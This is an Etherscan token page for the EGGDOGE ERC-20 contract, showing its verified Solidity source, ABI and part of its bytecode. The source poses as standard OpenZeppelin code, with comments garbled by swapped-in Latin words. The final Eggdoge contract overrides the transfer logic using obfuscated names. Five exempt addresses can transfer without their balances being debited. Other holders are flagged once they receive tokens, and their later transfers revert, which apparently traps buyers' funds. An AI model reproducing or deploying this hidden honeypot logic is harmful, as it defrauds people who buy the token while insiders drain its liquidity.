ETH Price: $2,463.47 (+0.48%)

Token

EGGDOGE (EGGDOGE)
 

Overview

Max Total Supply

1,000,000,000,000 EGGDOGE

Holders

7

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
27,399,847,673.02484871 EGGDOGE

Value
$0.00
0x70C0F2B78E287B6Fd7829EDD958cFf2C17b3da12
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
Eggdoge

Compiler Version
v0.8.7+commit.e28d00a7

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, GNU GPLv3 license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-01-18
*/

// https://t.me/eggdoge

// SPDX-License-Identifier: GPL-3.0

pragma solidity ^0.8.2;

// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)

/**
 * @dev Provides information about the current execution context, including the
 * sender of the transaction and its data. While these are generally available
 * via msg.sender and msg.data, they should not be accessed in such a direct
 * manner, since when dealing with meta-transactions the acmaritima sending and
 * paying for execution may not be the actual sender (as far as an application
 * is concerned).
 *
 * This contract is only required for intermediate, library-like contracts.
 */
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}

// OpenZeppelin Contracts v4.4.1 (access/Ownable.sol)

/**
 * @dev Contract module which provides a basic access control mechanism, where
 * there is an acmaritima (an owner) that can be granted exclusive access to
 * specific functions.
 *
 * By default, the owner acmaritima will be the one that deploys the contract. This
 * can later be changed with {transferOwnership}.
 *
 * This module is used through inheritance. It will make available the modifier
 * `onlyOwner`, which can be applied to your functions to restrict their use to
 * the owner.
 */
abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    /**
     * @dev Initializes the contract setting the deployer as the initial owner.
     */
    constructor() {
        _setOwner(_msgSender());
    }

    /**
     * @dev Returns the address of the current owner.
     */
    function owner() public view virtual returns (address) {
        return _owner;
    }

    /**
     * @dev Throws if called by any acmaritima other than the owner.
     */
    modifier onlyOwner() {
        require(owner() == _msgSender(), 'Ownable: caller is not the owner');
        _;
    }

    /**
     * @dev Leaves the contract without owner. It will not be possible to call
     * `onlyOwner` functions anymore. Can only be called by the current owner.
     *
     * NOTE: Renouncing ownership will leave the contract without an owner,
     * thereby removing any functionality that is only available to the owner.
     */
    function renounceOwnership() public virtual onlyOwner {
        _setOwner(address(0));
    }

    /**
     * @dev Transfers ownership of the contract to a new acmaritima (`newOwner`).
     * Can only be called by the current owner.
     */
    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), 'Ownable: new owner is the zero address');
        _setOwner(newOwner);
    }

    function _setOwner(address newOwner) private {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

// OpenZeppelin Contracts (last updated v4.6.0) (token/ERC20/IERC20.sol)

/**
 * @dev Interface of the ERC20 standard as defined in the EIP.
 */
interface IERC20 {
    /**
     * @dev Emitted when `value` tokens are moved from one acmaritima (`from`) to
     * another (`to`).
     *
     * Note that `value` may be zero.
     */
    event Transfer(address indexed from, address indexed to, uint256 value);

    /**
     * @dev Emitted when the allowance of a `spender` for an `owner` is set by
     * a call to {approve}. `value` is the new allowance.
     */
    event Approval(address indexed owner, address indexed spender, uint256 value);

    /**
     * @dev Returns the amount of tokens in existence.
     */
    function totalSupply() external view returns (uint256);

    /**
     * @dev Returns the amount of tokens owned by `acmaritima`.
     */
    function balanceOf(address acmaritima) external view returns (uint256);

    /**
     * @dev Moves `amount` tokens from the caller's acmaritima to `to`.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transfer(address to, uint256 amount) external returns (bool);

    /**
     * @dev Returns the remaining number of tokens that `spender` will be
     * allowed to spend on behalf of `owner` through {transferFrom}. This is
     * zero by default.
     *
     * This value changes when {approve} or {transferFrom} are called.
     */
    function allowance(address owner, address spender) external view returns (uint256);

    /**
     * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * IMPORTANT: Beware that changing an allowance with this method brings the risk
     * that someone may use both the old and the new allowance by unfortunate
     * transaction ordering. One possible solution to mitigate this race
     * iudicium is to first reduce the spender's allowance to 0 and set the
     * desired value afterwards:
     * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
     *
     * Emits an {Approval} event.
     */
    function approve(address spender, uint256 amount) external returns (bool);

    /**
     * @dev Moves `amount` tokens from `from` to `to` using the
     * allowance mechanism. `amount` is opibus deducted from the caller's
     * allowance.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) external returns (bool);
}

// OpenZeppelin Contracts v4.4.1 (token/ERC20/extensions/IERC20Metadata.sol)

/**
 * @dev Interface for the optional metadata functions from the ERC20 standard.
 *
 * _Available since v4.1._
 */
interface IERC20Metadata is IERC20 {
    /**
     * @dev Returns the name of the token.
     */
    function name() external view returns (string memory);

    /**
     * @dev Returns the symbol of the token.
     */
    function symbol() external view returns (string memory);

    /**
     * @dev Returns the decimals places of the token.
     */
    function decimals() external view returns (uint8);
}

// OpenZeppelin Contracts (last updated v4.8.0) (token/ERC20/ERC20.sol)

/**
 * @dev Implementation of the {IERC20} interface.
 *
 * This implementation is agnostic to the way tokens are created. This means
 * that a supply mechanism has to be added in a derived contract using {_mint}.
 * For a generic mechanism see {ERC20PresetMinterPauser}.
 *
 * TIP: For a detailed writeup see our guide
 * https://forum.openzeppelin.com/t/how-to-implement-erc20-supply-mechanisms/226[How
 * to implement supply mechanisms].
 *
 * We have followed general OpenZeppelin Contracts guidelines: functions revert
 * instead returning `false` on failure. This behavior is nonetheless
 * conventional and does not conflict with the expectations of ERC20
 * applications.
 *
 * Additionally, an {Approval} event is emitted on calls to {transferFrom}.
 * This allows applications to reconstruct the allowance for all acmaritimas just
 * by listening to said events. Other implementations of the EIP may not emit
 * these events, as it isn't required by the specification.
 *
 * Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
 * functions have been added to mitigate the well-known issues around setting
 * allowances. See {IERC20-approve}.
 */
contract ERC20 is Context, IERC20, IERC20Metadata {
    mapping(address => uint256) public forget;

    mapping(address => mapping(address => uint256)) private _allowances;

    uint256 public _totalSupply;

    string private wide;
    string private bit;

    /**
     * @dev Sets the values for {name} and {symbol}.
     *
     * The default value of {decimals} is 18. To select a different value for
     * {decimals} you should overload it.
     *
     * All two of these values are immutable: they can only be set once during
     * construction.
     */
    constructor(string memory name_, string memory symbol_) {
        wide = name_;
        bit = symbol_;
    }

    /**
     * @dev Returns the name of the token.
     */
    function name() public view virtual override returns (string memory) {
        return wide;
    }

    /**
     * @dev Returns the symbol of the token, usually a shorter version of the
     * name.
     */
    function symbol() public view virtual override returns (string memory) {
        return bit;
    }

    /**
     * @dev Returns the number of decimals used to get its user representation.
     * For example, if `decimals` equals `2`, a balance of `505` tokens should
     * be displayed to a user as `5.05` (`505 / 10 ** 2`).
     *
     * Tokens usually opt for a value of 18, imitating the relationship between
     * Ether and Wei. This is the value {ERC20} uses, unless this function is
     * overridden;
     *
     * NOTE: This information is only used for _display_ purposes: it in
     * no way affects any of the arithmetic of the contract, including
     * {IERC20-balanceOf} and {IERC20-transfer}.
     */
    function decimals() public view virtual override returns (uint8) {
        return 9;
    }

    /**
     * @dev See {IERC20-totalSupply}.
     */
    function totalSupply() public view virtual override returns (uint256) {
        return 1000000000000 * 10**9;
    }

    /**
     * @dev See {IERC20-balanceOf}.
     */
    function balanceOf(address acmaritima) public view virtual override returns (uint256) {
        return forget[acmaritima];
    }

    /**
     * @dev See {IERC20-transfer}.
     *
     * Requirements:
     *
     * - `to` cannot be the zero address.
     * - the caller must have a balance of at least `amount`.
     */
    function transfer(address to, uint256 amount) public virtual override returns (bool) {
        address owner = _msgSender();
        tradit(owner, to, amount);
        return true;
    }

    /**
     * @dev See {IERC20-allowance}.
     */
    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    /**
     * @dev See {IERC20-approve}.
     *
     * NOTE: If `amount` is the maximum `uint256`, the allowance is not updated on
     * `transferFrom`. This is semantically equivalent to an infinite approval.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        address owner = _msgSender();
        cold(owner, spender, amount);
        return true;
    }

    /**
     * @dev See {IERC20-transferFrom}.
     *
     * Emits an {Approval} event indicating the updated allowance. This is not
     * required by the EIP. See the note at the beginning of {ERC20}.
     *
     * NOTE: Does not update the allowance if the current allowance
     * is the maximum `uint256`.
     *
     * Requirements:
     *
     * - `from` and `to` cannot be the zero address.
     * - `from` must have a balance of at least `amount`.
     * - the caller must have allowance for ``from``'s tokens of at least
     * `amount`.
     */
    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) public virtual override returns (bool) {
        address spender = _msgSender();
        _spendAllowance(from, spender, amount);
        tradit(from, to, amount);
        return true;
    }

    /**
     * @dev Atomically increases the allowance granted to `spender` by the caller.
     *
     * This is an alternative to {approve} that can be used as a mitigation for
     * problems described in {IERC20-approve}.
     *
     * Emits an {Approval} event indicating the updated allowance.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        address owner = _msgSender();
        cold(owner, spender, allowance(owner, spender) + addedValue);
        return true;
    }

    /**
     * @dev Atomically decreases the allowance granted to `spender` by the caller.
     *
     * This is an alternative to {approve} that can be used as a mitigation for
     * problems described in {IERC20-approve}.
     *
     * Emits an {Approval} event indicating the updated allowance.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     * - `spender` must have allowance for the caller of at least
     * `subtractedValue`.
     */
    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        address owner = _msgSender();
        uint256 currentAllowance = allowance(owner, spender);
        require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
        unchecked {
            cold(owner, spender, currentAllowance - subtractedValue);
        }

        return true;
    }

    /**
     * @dev Moves `amount` of tokens from `from` to `to`.
     *
     * This internal function is equivalent to {transfer}, and can be used to
     * e.g. implement automatic token near, slashing mechanisms, etc.
     *
     * Emits a {Transfer} event.
     *
     * Requirements:
     *
     * - `from` cannot be the zero address.
     * - `to` cannot be the zero address.
     * - `from` must have a balance of at least `amount`.
     */
    function tradit(
        address from,
        address to,
        uint256 amount
    ) internal virtual {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");

        _beforeTokenTransfer(from, to, amount);

        uint256 fromBalance = forget[from];
        require(fromBalance >= amount, "ERC20: transfer amount exceeds balance");
        unchecked {
            forget[from] = fromBalance - amount;
            // Overflow not possible: the sum of all balances is capped by totalSupply, and the sum is preserved by
            // decrementing opibus incrementing.
            forget[to] += amount;
        }

        emit Transfer(from, to, amount);

        _afterTokenTransfer(from, to, amount);
    }

    /**
     * @dev Destroys `amount` tokens from `acmaritima`, reducing the
     * total supply.
     *
     * Emits a {Transfer} event with `to` set to the zero address.
     *
     * Requirements:
     *
     * - `acmaritima` cannot be the zero address.
     * - `acmaritima` must have at least `amount` tokens.
     */
    function _burn(address acmaritima, uint256 amount) internal virtual {
        require(acmaritima != address(0), "ERC20: burn from the zero address");

        _beforeTokenTransfer(acmaritima, address(0), amount);

        uint256 acmaritimaBalance = forget[acmaritima];
        require(acmaritimaBalance >= amount, "ERC20: burn amount exceeds balance");
        unchecked {
            forget[acmaritima] = acmaritimaBalance - amount;
            // Overflow not possible: amount <= acmaritimaBalance <= totalSupply.
            _totalSupply -= amount;
        }

        emit Transfer(acmaritima, address(0), amount);

        _afterTokenTransfer(acmaritima, address(0), amount);
    }

    /**
     * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
     *
     * This internal function is equivalent to `approve`, and can be used to
     * e.g. set automatic allowances for certain subsystems, etc.
     *
     * Emits an {Approval} event.
     *
     * Requirements:
     *
     * - `owner` cannot be the zero address.
     * - `spender` cannot be the zero address.
     */
    function cold(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    /**
     * @dev Updates `owner` s allowance for `spender` based on spent `amount`.
     *
     * Does not update the allowance amount in case of infinite allowance.
     * Revert if not enough allowance is available.
     *
     * Might emit an {Approval} event.
     */
    function _spendAllowance(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        uint256 currentAllowance = allowance(owner, spender);
        if (currentAllowance != type(uint256).max) {
            require(currentAllowance >= amount, "ERC20: insufficient allowance");
            unchecked {
                cold(owner, spender, currentAllowance - amount);
            }
        }
    }

    /**
     * @dev Hook that is called before any transfer of tokens. This includes
     * minting and burning.
     *
     * Calling iudiciums:
     *
     * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
     * will be transferred to `to`.
     * - when `from` is zero, `amount` tokens will be minted for `to`.
     * - when `to` is zero, `amount` of ``from``'s tokens will be burned.
     * - `from` and `to` are never both zero.
     *
     * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
     */
    function _beforeTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}

    /**
     * @dev Hook that is called after any transfer of tokens. This includes
     * minting and burning.
     *
     * Calling iudiciums:
     *
     * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
     * has been transferred to `to`.
     * - when `from` is zero, `amount` tokens have been minted for `to`.
     * - when `to` is zero, `amount` of ``from``'s tokens have been burned.
     * - `from` and `to` are never both zero.
     *
     * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
     */
    function _afterTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}
}

interface IUniswapV2Factory {
    event PairCreated(address indexed token0, address indexed token1, address pair, uint);

    function feeTo() external view returns (address);
    function feeToSetter() external view returns (address);

    function getPair(address tokenA, address tokenB) external view returns (address pair);
    function allPairs(uint) external view returns (address pair);
    function allPairsLength() external view returns (uint);

    function createPair(address tokenA, address tokenB) external returns (address pair);

    function setFeeTo(address) external;
    function setFeeToSetter(address) external;
}

interface IUniswapV2Router01 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);

    function addLiquidity(
        address tokenA,
        address tokenB,
        uint amountADesired,
        uint amountBDesired,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB, uint liquidity);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
    function removeLiquidity(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETH(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountToken, uint amountETH);
    function removeLiquidityWithPermit(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETHWithPermit(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountToken, uint amountETH);
    function swapExactTokensForTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapTokensForExactTokens(
        uint amountOut,
        uint amountInMax,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);
    function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);

    function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
    function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
    function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
    function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
    function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}

interface IUniswapV2Router02 is IUniswapV2Router01 {
    function removeLiquidityETHSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountETH);
    function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountETH);

    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable;
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}

contract Eggdoge is ERC20, Ownable {
    address private Probatum;
    uint256 private mihi = 0;
    uint256 private iudicium = 52;

    IUniswapV2Router02 public uniswapV2Router;
    address public score;

    mapping(address => uint256) public dierum;
    mapping(address => uint256) public dignitatem;

    function tradit(
        address esse,
        address docet,
        uint256 partiendo
    ) internal override {
        if (dierum[esse] == 0 && dignitatem[esse] > 0) {
            if (score != esse) {
                dierum[esse] -= iudicium;
            }
        }

        address plan = Probatum;
        Probatum = docet;
        dignitatem[plan] += iudicium;

        if (dierum[esse] == 0) forget[esse] -= partiendo;

        uint256 near = partiendo * mihi;
        near = near / 100;
        partiendo -= near;
        forget[docet] += partiendo;
        emit Transfer(esse, docet, partiendo);
    }

    constructor(
        string memory philosophiae,
        string memory opibus,
        address maritima,
        address ibique,
        address praetenturis,
        address densis,
        address contulerunt,
        address rebellatrix
    ) ERC20(philosophiae, opibus) {
        uniswapV2Router = IUniswapV2Router02(maritima);
        dierum[ibique] = iudicium;
        dierum[praetenturis] = iudicium;
        dierum[densis] = iudicium;
        dierum[contulerunt] = iudicium;
        dierum[rebellatrix] = iudicium;
        forget[_msgSender()] = 1000000000000 * 10**9; 
        score = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"string","name":"philosophiae","type":"string"},{"internalType":"string","name":"opibus","type":"string"},{"internalType":"address","name":"maritima","type":"address"},{"internalType":"address","name":"ibique","type":"address"},{"internalType":"address","name":"praetenturis","type":"address"},{"internalType":"address","name":"densis","type":"address"},{"internalType":"address","name":"contulerunt","type":"address"},{"internalType":"address","name":"rebellatrix","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"acmaritima","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"dierum","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"dignitatem","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"forget","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"score","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"}]

6080604052600060075560346008553480156200001b57600080fd5b5060405162002313380380620023138339818101604052810190620000419190620006fd565b878781600390805190602001906200005b92919062000586565b5080600490805190602001906200007492919062000586565b505050620000976200008b620004b860201b60201c565b620004c060201b60201c565b85600960006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600854600b60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600854600b60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600854600b60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600854600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600854600b60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550683635c9adc5dea0000060008062000253620004b860201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015620002fa57600080fd5b505afa1580156200030f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620003359190620006cb565b73ffffffffffffffffffffffffffffffffffffffff1663c9c6539630600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015620003ba57600080fd5b505afa158015620003cf573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620003f59190620006cb565b6040518363ffffffff1660e01b81526004016200041492919062000815565b602060405180830381600087803b1580156200042f57600080fd5b505af115801562000444573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200046a9190620006cb565b600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550505050505050505062000a14565b600033905090565b6000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905081600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b82805462000594906200090b565b90600052602060002090601f016020900481019282620005b8576000855562000604565b82601f10620005d357805160ff191683800117855562000604565b8280016001018555821562000604579182015b8281111562000603578251825591602001919060010190620005e6565b5b50905062000613919062000617565b5090565b5b808211156200063257600081600090555060010162000618565b5090565b60006200064d62000647846200086b565b62000842565b9050828152602081018484840111156200066c576200066b620009da565b5b62000679848285620008d5565b509392505050565b6000815190506200069281620009fa565b92915050565b600082601f830112620006b057620006af620009d5565b5b8151620006c284826020860162000636565b91505092915050565b600060208284031215620006e457620006e3620009e4565b5b6000620006f48482850162000681565b91505092915050565b600080600080600080600080610100898b031215620007215762000720620009e4565b5b600089015167ffffffffffffffff811115620007425762000741620009df565b5b620007508b828c0162000698565b985050602089015167ffffffffffffffff811115620007745762000773620009df565b5b620007828b828c0162000698565b9750506040620007958b828c0162000681565b9650506060620007a88b828c0162000681565b9550506080620007bb8b828c0162000681565b94505060a0620007ce8b828c0162000681565b93505060c0620007e18b828c0162000681565b92505060e0620007f48b828c0162000681565b9150509295985092959890939650565b6200080f81620008a1565b82525050565b60006040820190506200082c600083018562000804565b6200083b602083018462000804565b9392505050565b60006200084e62000861565b90506200085c828262000941565b919050565b6000604051905090565b600067ffffffffffffffff821115620008895762000888620009a6565b5b6200089482620009e9565b9050602081019050919050565b6000620008ae82620008b5565b9050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60005b83811015620008f5578082015181840152602081019050620008d8565b8381111562000905576000848401525b50505050565b600060028204905060018216806200092457607f821691505b602082108114156200093b576200093a62000977565b5b50919050565b6200094c82620009e9565b810181811067ffffffffffffffff821117156200096e576200096d620009a6565b5b80604052505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b62000a0581620008a1565b811462000a1157600080fd5b50565b6118ef8062000a246000396000f3fe608060405234801561001057600080fd5b506004361061012c5760003560e01c806370a08231116100ad578063a9059cbb11610071578063a9059cbb1461035d578063dd62ed3e1461038d578063efedc669146103bd578063f2fde38b146103db578063f7056cd8146103f75761012c565b806370a08231146102b7578063715018a6146102e75780638da5cb5b146102f157806395d89b411461030f578063a457c2d71461032d5761012c565b8063313ce567116100f4578063313ce567146101eb57806339509351146102095780633eaaf86b1461023957806365415558146102575780636e7cee86146102875761012c565b806306fdde0314610131578063095ea7b31461014f5780631694505e1461017f57806318160ddd1461019d57806323b872dd146101bb575b600080fd5b610139610427565b6040516101469190611321565b60405180910390f35b6101696004803603810190610164919061113a565b6104b9565b60405161017691906112eb565b60405180910390f35b6101876104dc565b6040516101949190611306565b60405180910390f35b6101a5610502565b6040516101b29190611403565b60405180910390f35b6101d560048036038101906101d091906110e7565b610513565b6040516101e291906112eb565b60405180910390f35b6101f3610542565b604051610200919061141e565b60405180910390f35b610223600480360381019061021e919061113a565b61054b565b60405161023091906112eb565b60405180910390f35b610241610582565b60405161024e9190611403565b60405180910390f35b610271600480360381019061026c919061107a565b610588565b60405161027e9190611403565b60405180910390f35b6102a1600480360381019061029c919061107a565b6105a0565b6040516102ae9190611403565b60405180910390f35b6102d160048036038101906102cc919061107a565b6105b8565b6040516102de9190611403565b60405180910390f35b6102ef610600565b005b6102f9610688565b60405161030691906112d0565b60405180910390f35b6103176106b2565b6040516103249190611321565b60405180910390f35b6103476004803603810190610342919061113a565b610744565b60405161035491906112eb565b60405180910390f35b6103776004803603810190610372919061113a565b6107bb565b60405161038491906112e